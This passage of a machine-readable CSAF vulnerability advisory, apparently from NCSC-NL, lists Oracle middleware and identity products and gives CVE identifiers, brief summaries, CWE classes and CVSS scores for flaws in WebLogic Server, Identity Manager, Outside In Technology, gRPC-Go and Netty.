}
],
"category": "product_name",
"name": "Fusion Middleware"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-2"
}
}
],
"category": "product_name",
"name": "Oracle WebLogic Server"
}
],
"category": "vendor",
"name": "Oracle"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-3"
}
}
],
"category": "product_name",
"name": "Helidon"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-4"
}
}
],
"category": "product_name",
"name": "Oracle Access Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-5"
}
}
],
"category": "product_name",
"name": "Oracle Identity Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-6"
}
}
],
"category": "product_name",
"name": "Oracle Identity Manager Connector"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-7"
}
}
],
"category": "product_name",
"name": "Oracle Internet Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-8"
}
}
],
"category": "product_name",
"name": "Oracle Managed File Transfer"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-9"
}
}
],
"category": "product_name",
"name": "Oracle Outside In Technology"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-10"
}
}
],
"category": "product_name",
"name": "Oracle Reports Developer"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-11"
}
}
],
"category": "product_name",
"name": "Oracle SOA Suite"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-12"
}
}
],
"category": "product_name",
"name": "Oracle Unified Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-13"
}
}
],
"category": "product_name",
"name": "Oracle Virtual Directory"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-14"
}
}
],
"category": "product_name",
"name": "Oracle Web Services Manager"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-15"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Content"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-16"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Enterprise Capture"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-17"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Portal"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-18"
}
}
],
"category": "product_name",
"name": "Oracle WebCenter Sites"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-19"
}
}
],
"category": "product_name",
"name": "Service Delivery Platform"
}
],
"category": "vendor",
"name": "Oracle Corporation"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-33186",
"cwe": {
"id": "CWE-551",
"name": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization"
},
"notes": [
{
"category": "other",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "description",
"text": "An authorization bypass vulnerability (CVE-2026-33186) in gRPC-Go prior to version 1.79.3, caused by improper validation of the HTTP/2 :path pseudo-header missing a leading slash, affects multiple products and leads to unauthorized access risks.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-33186 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-33186.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-33186"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-42587 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-42587.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-60392",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60392 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60392.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60392"
},
{
"cve": "CVE-2026-60412",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60412 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60412.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60412"
},
{
"cve": "CVE-2026-60413",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60413 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60413.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60413"
},
{
"cve": "CVE-2026-60414",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60414 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60414.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60414"
},
{
"cve": "CVE-2026-60415",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers via T3 or IIOP protocols to potentially gain full control of the server, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60415 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60415.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60415"
},
{
"cve": "CVE-2026-60672",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60672 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60672.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60672"
},
{
"cve": "CVE-2026-60679",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to potentially take control of the server, with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60679 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60679.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60679"
},
{
"cve": "CVE-2026-60680",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with HTTP network access to cause unauthorized data modification, deletion, or server crashes, rated CVSS 3.1 base score 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60680 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60680.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60680"
},
{
"cve": "CVE-2026-60696",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60696 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60696.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60696"
},
{
"cve": "CVE-2026-60698",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60698 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60698.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60698"
},
{
"cve": "CVE-2026-60699",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via T3 or IIOP to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60699 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60699.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60699"
},
{
"cve": "CVE-2026-60702",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60702 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60702.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60702"
},
{
"cve": "CVE-2026-60707",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTP network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60707 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60707.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60707"
},
{
"cve": "CVE-2026-60715",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60715 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60715.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
